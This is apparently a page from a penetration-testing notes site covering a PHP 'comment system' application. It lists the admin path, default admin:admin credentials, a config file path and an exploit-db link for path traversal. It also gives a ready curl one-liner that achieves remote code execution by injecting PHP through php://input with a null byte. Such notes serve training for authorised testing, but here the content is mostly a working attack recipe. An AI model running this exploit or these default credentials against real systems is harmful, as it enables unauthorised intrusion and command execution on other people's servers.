> For the complete documentation index, see [llms.txt](https://kashz.gitbook.io/kashz-jewels/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kashz.gitbook.io/kashz-jewels/services/comment-system.md).

# comment system

## Admin Path

```bash
/admin.php
```

## Default Credentials

```bash
admin:admin
```

## Interesting Paths

```bash
/config.php
```

## Path Traversal v1.0

* <https://www.exploit-db.com/exploits/49343>

## RCE

v1.0

* <https://pentest.tonyng.net/timo-sablowskis-oscp-note/#php>

```bash
curl "IP/PATH/admin.php?ACS_path=php://input%00" -s --data "<?system('ls -la');?>"
```